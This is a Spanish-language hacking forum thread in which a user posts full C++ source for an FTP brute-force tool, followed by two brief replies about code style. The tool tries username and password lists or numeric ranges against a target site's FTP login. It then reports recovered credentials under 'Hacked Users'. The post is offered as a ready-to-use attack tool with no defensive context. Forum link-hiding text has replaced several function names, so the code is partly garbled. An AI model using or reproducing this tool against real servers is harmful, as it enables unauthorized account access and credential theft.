send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

FTP Bruteforce

  • 2 Respuestas
  • 2315 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 22, 2011, 10:10:02 pm »
Código: C
  1. /*****
  2. Ftp Brute Force , v1.0.
  3. Written By WaReZ  
  4. -----------------
  5. Options:
  6.         Single Username - Password list , Range passwords.
  7.         Usernames list - Passwords List , Single password , Range Passwords.
  8. ---------------------------------------------------------------------------------------------
  9. Compile:        
  10.         g++ ftp.cpp -o ftp.exe
  11.  
  12. ---------------------------------------------
  13. *****/
  14.  
  15. #include <iostream>
  16. #include <winsock.h>
  17. #include <fstream>
  18. #include <time.h>
  19. using namespace std;
  20.  
  21. int ftp_connect(string user,string pass,char *site) {
  22.          
  23. sockaddr_in address;
  24.          
  25. size_t userSize = user.length()+1;
  26. size_t passSize = pass.length()+1;
  27. char username[userSize],password[passSize];
  28. ZeroMemory(&username[0],userSize);
  29. ZeroMemory(&password[0],passSize);
  30.          
  31. You are not allowed to view links. Register or Login(username,user.c_str(),userSize);
  32. You are not allowed to view links. Register or Login(password,pass.c_str(),passSize);
  33.        
  34. char recv2[256];
  35. ZeroMemory(&recv2,256);
  36.        
  37. hostent *host;
  38. host = gethostbyname(site);
  39.  
  40. if(host != NULL)
  41. {
  42.            
  43. int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  44.            
  45. address.sin_family = AF_INET;
  46. address.sin_addr.s_addr = ((in_addr *)host->h_addr)->s_addr;
  47. address.sin_port = htons(21);      
  48.  
  49.  
  50. int c,s,r;
  51. c = connect(sock,(struct sockaddr*)&address,sizeof(address));
  52. r = recv(sock,recv2,sizeof(recv2),0);
  53. s = send(sock,username,You are not allowed to view links. Register or Login(username),0);
  54. r = recv(sock,recv2,sizeof(recv2),0);
  55. s = send(sock,password,sizeof(password),0);
  56. r = recv(sock,recv2,sizeof(recv2),0);
  57.  
  58.  
  59.   if(You are not allowed to view links. Register or Login(recv2,"230"))
  60.   {
  61.      return 230;
  62.   }
  63.        
  64.   else if(You are not allowed to view links. Register or Login(recv2,"530"))
  65.   {
  66.      return 530;
  67.   }
  68.  
  69.   else if(c != 0)
  70.   {
  71.      return -1;
  72.   }
  73.                    
  74.   else
  75.   {
  76.      return WSAGetLastError();
  77.   }
  78.  
  79. }
  80.  
  81.   else
  82.   {
  83.     return -1;
  84.   }  
  85.  
  86. }          
  87.  
  88. int main(int argc,char *argv[])
  89. {
  90.      
  91. cout << "\n#####################################\n"
  92.          "# Ftp Brute Force                   #\n"    
  93.          "# Written By WaReZ                  #\n"
  94.          "#####################################\n\n";
  95.  
  96. WSADATA wsaData;
  97.  
  98. if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  99. {
  100.   cout << "WSAGetLastError(): " << WSAGetLastError();
  101.   You are not allowed to view links. Register or Login(1);
  102. }
  103.  
  104.          
  105. if(argc < 2)
  106. {
  107.   cout << "Usage: " << argv[0] << "\n\n";
  108.   cout << "-user         singal username\n";
  109.   cout << "-ul           usernames list\n";
  110.   cout << "-start        start range\n";
  111.   cout << "-end          end range\n";
  112.   cout << "-pl           passwords list\n";
  113.   cout << "-sp           singal password for users list\n";
  114.   cout << "-site         site that be checked\n\n";
  115.  
  116.   cout << "Example: " << argv[0] << " -site site.com -user admin -start 0 -end 10000\n";
  117.   cout << "         " << argv[0] << " -site site.com -ul users.txt -sp 123456\n";
  118. }
  119.  
  120.        
  121. else
  122. {
  123.    
  124.   cout <<  "[~] Starting ...\n\n";
  125.   char buffer[256],rcv[256];  
  126.  
  127.  
  128.   int check = 0;
  129.   int tstart = 0 ,tend = 0;
  130.   int u = 0,start = 0 ,ul = 0,pl = 0,end = 0,spass = 0,check_site = 0,hacked = 0,line = 0,error = 0,attempt = 0;
  131.   string user,pass,site2,realuser,sinpass,realpass,fileusers,length,correct_pass;
  132.   char passwords[256],site[256] = "", users[256];
  133.   ifstream passlist,userlist;
  134.  
  135. for(int i = 1; i <= argc-1;i++)
  136. {
  137.              
  138.     if(argv[i+1] != NULL)
  139.     {
  140.          
  141.      if(You are not allowed to view links. Register or Login(argv[i],"-user"))
  142.      {
  143.         realuser = argv[i+1];        
  144.         user = "USER ";
  145.         user += argv[i+1];
  146.         user += "\r\n";
  147.         u = 1;                    
  148.      }
  149.    
  150.      if(You are not allowed to view links. Register or Login(argv[i],"-start"))
  151.      {                        
  152.         tstart = You are not allowed to view links. Register or Login(argv[i+1]);
  153.         start = 1;              
  154.      }
  155.    
  156.      if(You are not allowed to view links. Register or Login(argv[i],"-end"))
  157.      {                      
  158.         tend = You are not allowed to view links. Register or Login(argv[i+1]);
  159.         end = 1;                                    
  160.      }
  161.    
  162.      if(You are not allowed to view links. Register or Login(argv[i],"-pl"))
  163.      {                      
  164.         passlist.open(argv[i+1]);
  165.         if(!passlist.fail())
  166.         {
  167.         pl = 1;
  168.         }                            
  169.      }
  170.    
  171.      if(You are not allowed to view links. Register or Login(argv[i],"-site"))
  172.      {                              
  173.        site2 = argv[i+1];
  174.        You are not allowed to view links. Register or Login(site,site2.c_str(),256);
  175.        check_site = 1;                            
  176.      }
  177.    
  178.      if(You are not allowed to view links. Register or Login(argv[i],"-ul"))
  179.      {
  180.         userlist.open(argv[i+1]);
  181.         if(!userlist.fail())
  182.         {
  183.         ul = 1;
  184.         }                  
  185.      }
  186.    
  187.      if(You are not allowed to view links. Register or Login(argv[i],"-sp"))
  188.      {
  189.         sinpass = argv[i+1];
  190.         realpass = argv[i+1];
  191.         spass = 1;                        
  192.      }
  193.    
  194.   }        
  195. }
  196.  
  197. time_t time1;
  198. time1 = You are not allowed to view links. Register or Login(NULL);
  199.  
  200. if(u == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  201. {
  202.    for(int p = tstart; p <= tend; p++)
  203.    {    
  204.          attempt+= 1;  
  205.        
  206.          pass = "PASS ";
  207.          pass+=You are not allowed to view links. Register or Login(p,buffer,10);
  208.          pass+= "\r\n";
  209.  
  210.          int b = ftp_connect(user,pass,site);
  211.        
  212.          if(b == 230)
  213.          {
  214.              cout << realuser << "::" << p << " - Succeed" << endl;
  215.              break;
  216.          }
  217.        
  218.          else if(b == 530)
  219.          {
  220.              cout << realuser << "::" << p << " - Fail" << endl;
  221.          }
  222.      
  223.          else if(b == -1)
  224.          {
  225.              cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  226.              error = 1;
  227.              break;    
  228.          }
  229.      
  230.          else
  231.          {            
  232.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  233.              error = 1;
  234.              break;
  235.          }
  236.        
  237.          attempt+= 1;
  238.                      
  239.    }
  240. }
  241.  
  242. else if(pl == 1 && u == 1 && check_site == 1)
  243. {      
  244.    while(!passlist.eof())
  245.    {                          
  246.       attempt+= 1;  
  247.      
  248.       passlist.getline(passwords,100);  
  249.       pass = "PASS ";
  250.       pass+= passwords;
  251.       pass+= "\r\n";
  252.      
  253.       int b = ftp_connect(user,pass,site);
  254.      
  255.       if(b == 230)
  256.       {
  257.           cout << realuser << "::" << passwords << " - Succeed" << endl;
  258.           hacked = 1;
  259.           break;
  260.       }
  261.        
  262.       else if(b == 530)
  263.       {
  264.           cout << realuser << "::" << passwords << " - Fail" << endl;
  265.       }
  266.    
  267.       else if(b == -1)
  268.       {
  269.           cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  270.           error = 1;
  271.           break;    
  272.       }
  273.      
  274.       else
  275.       {            
  276.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  277.           error = 1;
  278.           break;
  279.       }
  280.                            
  281.    }
  282.  
  283.    if(hacked == 0)
  284.    {
  285.        cout <<  "\n\nNon password was matched.\n\n";
  286.    }
  287. }
  288.  
  289. else if(ul == 1 && pl == 1 && check_site == 1)
  290. {        
  291.    while(!userlist.eof())
  292.    {
  293.       userlist.getline(users,100);
  294.       user = "USER ";
  295.       user+= users;
  296.       user+= "\r\n";                        
  297.      
  298.       while(!passlist.eof())
  299.       {  
  300.          attempt+= 1;  
  301.                                    
  302.          passlist.getline(passwords,100);  
  303.          pass = "PASS ";
  304.          pass+= passwords;
  305.          pass+= "\r\n";
  306.  
  307.          int b = ftp_connect(user,pass,site);
  308.    
  309.          if(b == 230)
  310.          {
  311.              cout << users << "::" << passwords << " - Succeed" << endl;
  312.              correct_pass+= users;
  313.              correct_pass+= "::";
  314.              correct_pass+= passwords;
  315.              correct_pass+= "\n";
  316.              hacked+= 1;
  317.              passlist.clear();              
  318.              passlist.seekg(0,ios::beg);
  319.              cout << "-------------------------\n";
  320.              break;
  321.      
  322.          }
  323.        
  324.          else if(b == 530)
  325.          {
  326.              cout << users << "::" << passwords << " - Fail" << endl;          
  327.          }
  328.      
  329.          else if(b == -1)
  330.          {
  331.             cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  332.             error = 1;
  333.             break;    
  334.          }      
  335.      
  336.          else
  337.          {            
  338.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  339.              error = 1;
  340.              break;
  341.          }
  342.        
  343.          if(passlist.eof())
  344.          {
  345.             cout << "-------------------------\n";              
  346.             passlist.clear();              
  347.             passlist.seekg(0,ios::beg);
  348.             break;                    
  349.          }
  350.  
  351.      }
  352.    
  353.      if(error == 1)
  354.      {
  355.          break;
  356.      }        
  357. }
  358.         if(error != 1)
  359.         {
  360.             if(hacked > 0)
  361.             {              
  362.                 cout << "\nHacked Users:\n\n";
  363.                 cout << correct_pass;
  364.                 cout << "\n" << hacked << " Users Was Hacked\n";
  365.             }
  366.            
  367.             else
  368.             {
  369.               cout << "\n\nNon password was matched.\n\n";    
  370.             }
  371.         }
  372. }
  373.  
  374. else if(spass == 1 && ul == 1 && check_site == 1)
  375. {
  376.    while(!userlist.eof())
  377.    {  
  378.       attempt+= 1;  
  379.      
  380.       userlist.getline(users,100);
  381.       user = "USER ";
  382.       user+= users;
  383.       user+= "\r\n";  
  384.        
  385.       pass = "PASS ";
  386.       pass+= sinpass;
  387.       pass+= "\r\n";
  388.            
  389.       int b = ftp_connect(user,pass,site);
  390.      
  391.       if(b == 230)
  392.       {
  393.           cout << users << "::" << realpass << " - Succeed" << endl;
  394.           fileusers+= users;
  395.           fileusers+= "::";
  396.           fileusers+= realpass;
  397.           fileusers+= "\n";
  398.           hacked+= 1;
  399.       }
  400.        
  401.       else if(b == 530)
  402.       {
  403.           cout << users << "::" << realpass << " - Fail" << endl;          
  404.       }
  405.      
  406.       else if(b == -1)
  407.       {
  408.           cout << "\nError: Can't Connect to site , check if the site is really exist and he works.\n";
  409.           error = 1;
  410.           break;    
  411.       }
  412.      
  413.       else
  414.       {            
  415.           cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  416.           error = 1;
  417.           break;
  418.       }
  419.                                          
  420.    }  
  421.       if(error != 1)
  422.       {                      
  423.           if(hacked > 0)
  424.           {        
  425.               cout << "\n\nHacked Users:\n\n";
  426.               cout << fileusers;
  427.               cout << "\n" << hacked << " Users was Hacked\n";
  428.           }
  429.    
  430.           else
  431.           {
  432.               cout << "\n\nNon password was matched.\n\n";  
  433.           }
  434.        }  
  435.        
  436. }
  437.  
  438. else if(ul == 1 && end == 1 && start == 1 && tstart < tend && check_site == 1)
  439. {
  440.     while(!userlist.eof())
  441.     {                        
  442.        userlist.getline(users,100);
  443.          
  444.        for(int d = tstart; d <= tend;d++)
  445.        {  
  446.          
  447.           attempt+= 1;  
  448.          
  449.           user = "USER ";
  450.           user+= users;
  451.           user+= "\r\n";
  452.          
  453.           pass = "PASS ";
  454.           pass+= You are not allowed to view links. Register or Login(d,buffer,10);
  455.           pass+= "\r\n";  
  456.          
  457.           int b = ftp_connect(user,pass,site);
  458.      
  459.           if(b == 230)
  460.           {
  461.               cout << users << "::" << d << " - Succeed" << endl;
  462.               fileusers+= users;
  463.               fileusers+= "::";
  464.               fileusers+= You are not allowed to view links. Register or Login(d,buffer,10);
  465.               fileusers+= "\n";
  466.               hacked+= 1;
  467.               break;
  468.           }
  469.          
  470.           else if(b == 530)
  471.           {
  472.               cout << users << "::" << d << " - Fail" << endl;          
  473.           }
  474.                
  475.           else if(b == -1)
  476.           {
  477.              cout << "Error: Can't Connect to site , check if the site is really exist and he works.\n";
  478.              error = 1;
  479.              break;    
  480.           }
  481.          
  482.           else
  483.           {          
  484.              cout << "WSAGetLastError: " << WSAGetLastError()  << endl;
  485.              error = 1;
  486.              break;
  487.           }  
  488.            
  489.       }
  490.           cout << "----------------------\n";  
  491.    }
  492.    
  493.       if(error != 1)
  494.       {              
  495.           if(hacked > 0)
  496.           {
  497.               cout << "\n\nHacked Users:\n\n";
  498.               cout << fileusers;
  499.               cout << "\n" << hacked << " Users was Hacked\n";
  500.           }
  501.          
  502.           else
  503.           {
  504.              cout << "\n\nNon password was matched\n\n";    
  505.           }
  506.       }            
  507. }  
  508.  
  509. else
  510. {
  511.     if(tstart > tend)
  512.     {
  513.       cout << "Error: Start range bigger then end range.\n";        
  514.     }
  515.    
  516.     else if(You are not allowed to view links. Register or Login(site) < 1)
  517.     {
  518.        cout << "Error: You forget to write the site.\n";
  519.     }
  520.    
  521.     else if(passlist.fail() || userlist.fail())
  522.     {
  523.       cout << "Error: Can't open file , check if the file is really exist and he with correct permission.\n";    
  524.     }
  525.      
  526.     else
  527.     {
  528.       cout << "Error:\ncheck the arguments , maybe you forget to write something \nor you have mistake in some argument\nor that the option you chose not exist\n";
  529.     }
  530. }      
  531.  
  532. time_t time2;
  533. time2 = You are not allowed to view links. Register or Login(NULL);
  534. cout << "\nAttempts: " << attempt << "\n";
  535. cout << "Time elapsed: " << time2-time1 << "\n";
  536. }
  537. }
« Última modificación: Febrero 08, 2014, 06:12:02 pm por Expermicid »
Me cambie de messenger ahora es: edeex@live.comYou are not allowed to view links. Register or Login

Desconectado Cygog

  • *
  • Underc0der
  • Mensajes: 67
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #1 en: Enero 23, 2011, 01:06:23 am »

         "# Ftp Brute Force                   #\n"   
         "# Written By WaReZ                  #\n"



Bueno... veo muchos for he if.. lo cual podria conbinarse los switch para poder achicar el code muchas lineas xD

You are not allowed to view links. Register or Login


saludos

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #2 en: Enero 23, 2011, 07:44:44 am »
Si lo se cygog pero como viste no lo programe yo xD.

Saludos
Me cambie de messenger ahora es: edeex@live.comYou are not allowed to view links. Register or Login

 

¿Te gustó el post? COMPARTILO!